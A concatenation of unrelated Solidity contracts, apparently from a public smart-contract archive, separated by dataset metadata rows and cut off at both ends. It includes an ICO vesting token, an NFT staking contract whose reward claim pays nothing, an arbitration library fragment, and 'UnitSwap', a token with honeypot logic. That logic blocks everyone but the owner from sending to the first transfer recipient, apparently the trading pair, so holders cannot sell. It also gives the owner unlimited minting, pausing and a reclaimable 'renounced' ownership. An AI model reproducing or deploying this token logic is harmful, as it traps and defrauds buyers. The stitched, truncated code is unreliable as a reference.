require(_ethExchangeWallet != address(0));
ethExchangeWallet = _ethExchangeWallet;
}
// Only to be called by Owner of this contract
// @param _tokensPerEther Tokens per ether during ICO stages
function setTokensPerEther(uint256 _tokensPerEther) onlyOwner external {
require(_tokensPerEther > 0);
tokensPerEther = _tokensPerEther;
}
function startStopICO(bool status) onlyOwner external {
startStop = status;
}
function startLockingPeriod() onlyOwner external {
startWithdraw = now;
}
// Assign tokens to investor with locking period
function assignToken(address _investor,uint256 _tokens) external {
// Tokens assigned by only Angel Sales And PE Sales wallets
require(msg.sender == walletAddresses[0] || msg.sender == walletAddresses[1]);
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
uint256 calCurrentTokens = getPercentageAmount(_tokens, 20);
uint256 allocateTokens = safeSub(_tokens, calCurrentTokens);
// Initially assign 20% tokens to the investor
balances[_investor] = safeAdd(balances[_investor], calCurrentTokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletAngelSales[_investor] = safeAdd(walletAngelSales[_investor],allocateTokens);
releasedAngelSales[_investor] = safeAdd(releasedAngelSales[_investor], calCurrentTokens);
}
else if(msg.sender == walletAddresses[1]){
walletPESales[_investor] = safeAdd(walletPESales[_investor],allocateTokens);
releasedPESales[_investor] = safeAdd(releasedPESales[_investor], calCurrentTokens);
}
else{
revert();
}
}
function withdrawTokens() public {
require(walletAngelSales[msg.sender] > 0 || walletPESales[msg.sender] > 0);
uint256 withdrawableAmount = 0;
if (walletAngelSales[msg.sender] > 0) {
uint256 withdrawableAmountAS = getWithdrawableAmountAS(msg.sender);
walletAngelSales[msg.sender] = safeSub(walletAngelSales[msg.sender], withdrawableAmountAS);
releasedAngelSales[msg.sender] = safeAdd(releasedAngelSales[msg.sender],withdrawableAmountAS);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountAS);
}
if (walletPESales[msg.sender] > 0) {
uint256 withdrawableAmountPS = getWithdrawableAmountPES(msg.sender);
walletPESales[msg.sender] = safeSub(walletPESales[msg.sender], withdrawableAmountPS);
releasedPESales[msg.sender] = safeAdd(releasedPESales[msg.sender], withdrawableAmountPS);
withdrawableAmount = safeAdd(withdrawableAmount, withdrawableAmountPS);
}
require(withdrawableAmount > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], withdrawableAmount);
}
// For wallet Angel Sales
function getWithdrawableAmountAS(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletAngelSales[_investor],releasedAngelSales[_investor]);
// Atleast 6 months
if (interval < 6) {
return (0);
} else if (interval >= 6 && interval < 9) {
return safeSub(getPercentageAmount(40,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 9 && interval < 12) {
return safeSub(getPercentageAmount(60,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 12 && interval < 15) {
return safeSub(getPercentageAmount(80,_allocatedTokens), releasedAngelSales[_investor]);
} else if (interval >= 15) {
return safeSub(_allocatedTokens, releasedAngelSales[_investor]);
}
}
// For wallet PE Sales
function getWithdrawableAmountPES(address _investor) public view returns(uint256) {
require(startWithdraw != 0);
// interval in months
uint interval = safeDiv(safeSub(now,startWithdraw),30 days);
// total allocatedTokens
uint _allocatedTokens = safeAdd(walletPESales[_investor],releasedPESales[_investor]);
// Atleast 12 months
if (interval < 12) {
return (0);
} else if (interval >= 12 && interval < 18) {
return safeSub(getPercentageAmount(40,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 18 && interval < 24) {
return safeSub(getPercentageAmount(60,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 24 && interval < 30) {
return safeSub(getPercentageAmount(80,_allocatedTokens), releasedPESales[_investor]);
} else if (interval >= 30) {
return safeSub(_allocatedTokens, releasedPESales[_investor]);
}
}
function getPercentageAmount(uint256 percent,uint256 _tokens) internal pure returns (uint256) {
return safeDiv(safeMul(_tokens,percent),100);
}
// Sale of the tokens. Investors can call this method to invest into FT Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
//Sorry !! We only allow to invest with minimum 0.5 Ether as value
require(msg.value >= (0.5 ether));
// multiply by exchange rate to get token amount
uint256 calculatedTokens = safeMul(msg.value, tokensPerEther);
// Wait we check tokens available for assign
require(balances[ethExchangeWallet] >= calculatedTokens);
// Call to Internal function to assign tokens
assignTokens(msg.sender, calculatedTokens);
}
// Function will transfer the tokens to investor's address
// Common function code for assigning tokens
function assignTokens(address investor, uint256 tokens) internal {
// Debit tokens from ether exchange wallet
balances[ethExchangeWallet] = safeSub(balances[ethExchangeWallet], tokens);
// Assign tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token assigned to sender, log the creation event
Transfer(ethExchangeWallet, investor, tokens);
}
function finalizeCrowdSale() external{
// Check FT Multisig wallet set or not
require(FTMultisig != address(0));
// Send fund to multisig wallet
require(FTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` FT tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of FT tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` FT tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of FT to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
| 188,423 | 11,390 |
89b923ebf40cedd13d59598f2d3bea1b1ec9260060241a0cb395ece1a69607ed
| 28,966 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/94/947ae6d3e8c0f9ba392796b7696dd54ca7b814ae_LiquidLabs.sol
| 3,863 | 15,387 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract LiquidLabs is Ownable, ReentrancyGuard {
// Interfaces for ERC20 and ERC721
IERC721 public immutable nftCollection = IERC721(0x17964F857045b2Df8173d5cf96501E1087fb101A);
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 100000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
address[] public stakersArray;
// Constructor function
//constructor(IERC721 _nftCollection) {
//nftCollection = _nftCollection;
//}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map msg.sender to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(uint256[] calldata _tokenIds) external nonReentrant {
if (stakers[msg.sender].amountStaked > 0) {
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
} else {
stakersArray.push(msg.sender);
}
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(nftCollection.ownerOf(_tokenIds[i]) == msg.sender,
"Can't stake tokens you don't own!");
nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]);
stakerAddress[_tokenIds[i]] = msg.sender;
}
stakers[msg.sender].amountStaked += len;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if msg.sender is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(uint256[] calldata _tokenIds) external nonReentrant {
require(stakers[msg.sender].amountStaked > 0,
"You have no tokens staked");
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
uint256 len = _tokenIds.length;
for (uint256 i; i < len; ++i) {
require(stakerAddress[_tokenIds[i]] == msg.sender);
stakerAddress[_tokenIds[i]] = address(0);
nftCollection.transferFrom(address(this), msg.sender, _tokenIds[i]);
}
stakers[msg.sender].amountStaked -= len;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
if (stakers[msg.sender].amountStaked == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == msg.sender) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
// Calculate rewards for the msg.sender, check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() external {
uint256 rewards = calculateRewards(msg.sender) +
stakers[msg.sender].unclaimedRewards;
require(rewards > 0, "You have no rewards to claim");
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
stakers[msg.sender].unclaimedRewards = 0;
//rewardsToken.safeTransfer(msg.sender, rewards);
}
// Set the rewardsPerHour variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
address[] memory _stakers = stakersArray;
uint256 len = _stakers.length;
for (uint256 i; i < len; ++i) {
address user = _stakers[i];
stakers[user].unclaimedRewards += calculateRewards(user);
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
rewardsPerHour = _newValue;
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
return (stakers[_user].amountStaked, availableRewards(_user));
}
function availableRewards(address _user) internal view returns (uint256) {
if (stakers[_user].amountStaked == 0) {
return stakers[_user].unclaimedRewards;
}
uint256 _rewards = stakers[_user].unclaimedRewards +
calculateRewards(_user);
return _rewards;
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerHour.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
Staker memory staker = stakers[_staker];
return (((((block.timestamp - staker.timeOfLastUpdate) * staker.amountStaked)) * rewardsPerHour) / 3600);
}
}
| 101,949 | 11,391 |
76b78d3a55fe5729d5fc1c1ac994419501728bd48295b72df68854fad72dccfa
| 22,846 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/af/affa119c4b450110555140bdc5763cb53fe93276_UnitSwap.sol
| 3,096 | 11,759 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract UnitSwap is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000000 * 10**9;
string private _symbol = "UnitSwap";
string private _name = "UnitSwap";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 72,662 | 11,392 |
23d7d525e13ec758ad0d70d79b16a25036658234f42208cbe99703f3517e3fce
| 24,426 |
.sol
|
Solidity
| false |
311709104
|
kleros/arbitrable-contract-libraries
|
3a6072520b6bdfc5d213cc699b4113475a62b08b
|
contracts/libraries/MultiOutcomeUpgradable/MultiOutcomeUpgradableArbitrable.sol
| 4,596 | 16,116 |
pragma solidity >=0.7;
import "@kleros/erc-792/contracts/IArbitrator.sol";
import "@kleros/ethereum-libraries/contracts/CappedMath.sol";
library MultiOutcomeUpgradableArbitrable {
using CappedMath for uint256;
uint256 private constant MAX_NO_OF_CHOICES = type(uint256).max;
uint256 private constant MULTIPLIER_DIVISOR = 10000; // Divisor parameter for multipliers.
enum Status {None, Disputed, Resolved}
struct Round {
mapping(uint256 => uint256) paidFees; // Tracks the fees paid by each ruling in this round.
uint256 rulingFunded;
uint256 totalFees; // Sum of fees paid during the funding of the appeal round.
uint256 appealCost; // Fees sent to the arbitrator in order to appeal.
mapping(address => mapping(uint256 => uint256)) contributions; // Maps contributors to their contributions for each ruling.
}
struct DisputeData {
mapping(uint256 => Round) rounds;
uint184 roundCounter;
uint64 arbitratorDataID;
Status status;
uint256 ruling;
uint256 disputeIDOnArbitratorSide;
}
struct ArbitratorData {
IArbitrator arbitrator; // Address of the trusted arbitrator to solve disputes. TRUSTED.
bytes arbitratorExtraData; // Extra data for the arbitrator.
}
struct ArbitrableStorage {
uint256 sharedStakeMultiplier;
uint256 winnerStakeMultiplier; // Multiplier for calculating the appeal fee of the party that won the previous round.
uint256 loserStakeMultiplier; // Multiplier for calculating the appeal fee of the party that lost the previous round.
mapping(uint256 => DisputeData) disputes; // disputes[localDisputeID]
mapping(uint256 => uint256) externalIDtoLocalID;
ArbitratorData[] arbitratorDataList; // Stores the arbitrator data of the contract. Updated each time the data is changed.
}
/// @dev See {@kleros/erc-792/contracts/IArbitrable.sol}.
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeIDOnArbitratorSide, uint256 _ruling);
/// @dev See {@kleros/erc-792/contracts/erc-1497/IEvidence.sol}.
event Evidence(IArbitrator indexed _arbitrator, uint256 indexed _evidenceGroupID, address indexed _party, string _evidence);
/// @dev See {@kleros/erc-792/contracts/erc-1497/IEvidence.sol}.
event Dispute(IArbitrator indexed _arbitrator, uint256 indexed _disputeIDOnArbitratorSide, uint256 _metaEvidenceID, uint256 _evidenceGroupID);
event HasPaidAppealFee(uint256 indexed _localDisputeID, uint256 _round, uint256 indexed _ruling);
event AppealContribution(uint256 indexed _localDisputeID, uint256 _round, uint256 indexed _ruling, address indexed _contributor, uint256 _amount);
event Withdrawal(uint256 indexed _localDisputeID, uint256 indexed _round, uint256 _ruling, address indexed _contributor, uint256 _reward);
// **************************** //
// * Modifying the state * //
// **************************** //
function setMultipliers(ArbitrableStorage storage self,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier) internal {
self.sharedStakeMultiplier = _sharedStakeMultiplier;
self.winnerStakeMultiplier = _winnerStakeMultiplier;
self.loserStakeMultiplier = _loserStakeMultiplier;
}
function setArbitrator(ArbitrableStorage storage self,
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData) internal {
ArbitratorData storage arbitratorData = self.arbitratorDataList.push();
arbitratorData.arbitrator = _arbitrator;
arbitratorData.arbitratorExtraData = _arbitratorExtraData;
}
function createDispute(ArbitrableStorage storage self,
uint256 _localDisputeID,
